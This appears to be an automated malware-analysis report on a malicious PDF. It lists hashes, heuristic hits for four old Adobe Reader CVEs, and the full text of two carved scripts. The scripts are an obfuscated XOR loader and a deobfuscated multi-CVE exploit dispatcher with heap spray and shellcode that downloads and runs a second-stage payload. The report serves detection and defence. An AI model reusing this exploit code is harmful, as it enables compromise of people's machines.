Malicious PDF — malware analysis report

Static analysis result for SHA-256 7395b2b1b66839b4…

MALICIOUS

PDF

5.4 KB
MD5: 1f2208a5d39f1a7c79ae569e615d53e4 SHA-1: 5cf08cdf452eacba35917a82c7b7d095962d91da SHA-256: 7395b2b1b66839b408c41496b187e7b118594e38be78ad660fb7af12877f2530
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that is XOR-decoded and then executed. This script leverages multiple known Adobe Reader vulnerabilities to achieve code execution. The deobfuscated JavaScript attempts to download and execute a second-stage payload from a hardcoded URL.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js
59f2362c9e9594f3d9dc77643b3286775dc793a1eeffab48cdf1fb34fa291c19		 pdf-javascript-stream PDF /JS object 13 at offset 0x1049 1375 bytes
Preview script
First 1,000 lines of the extracted script
function uL(x,t,h){return x.substr(t,h);}var v=uL("suNTM6",0,2)+"bs"+uL("trFhJ8",0,2);var vA=String("%");var uT=uL("chargQNs",0,4)+uL("rwUCodeUrw",3,4)+uL("UuXAtXUu",3,2);var nC=544-528;var uF=new String("getPa"+uL("geNth6Lny",0,5)+uL("PeJ7WordPJ7e",4,4));var hY="";var gV=12-10;var f=new String("from"+"Char"+"Code");var nW=String(uL("lengtBrX",0,5)+"h");var uB=44-43;var d=String;var r=this;var b=100-100;var rU=new String("getP"+"ageN"+uL("umWoGYlp",0,4)+uL("OWu8rds8uWO",4,3));;var cZ=String("ch"+"ar"+uL("Cou6T",0,2)+"de"+uL("AtsK8",0,2));var fU=1;var yN=String("ev"+uL("alwoQn",0,2));var bW=148;function kT(dM,n,kD,iX,mT){return r[uF](fU,dM)};var iV=r[rU](fU);function rO(yV,n,kD,iX,mT){return yV[nW]-gV};function l(z,tA,n,kD,iX,mT){return z+tA};function wB(hK,n,kD,iX,mT){hY=hY+hK};function iH(yV,fW,n,kD,iX,mT){return yV[fW]};var oV=r[yN];function p(yV,fK,n,kD,iX,mT){return yV[v](fK,gV)};function eZ(dY,gT,n,kD,iX,mT){return dY^bW;};function rG(z,tA,n,kD,iX,mT){return z-tA};function uR(tM,fK,n,kD,iX,mT){return tM[uT](fK)};function wZ(hK,n,kD,iX,mT){var hK=parseInt(hK,nC);hK=eZ(hK);hK=iH(d,f)(hK);return hK}function hYH(hK,n,kD,iX,mT){var zY=rO(hK);hK=p(hK,zY);return wZ(hK)};function eB(hK,n,kD,iX,mT){return vA+hK};var pK=new d();var cZ=r[cZ];function sF(dM,n,kD,iX,mT){var xQ=kT(dM);xQ=hYH(xQ);return xQ;}for(var dM=b;dM<iV;dM++){var mTC=sF(dM);wB(mTC);}oV(hY);
page_word_xor_stage_000.js
e124c9638b1c95228a07981bf357604e4de4d6add074157cf218c96f9142b63b		 deobfuscated-js page-word hex-tail XOR decoded JavaScript (decompressed, key=0x94) at offset 0x2D3 3745 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.title;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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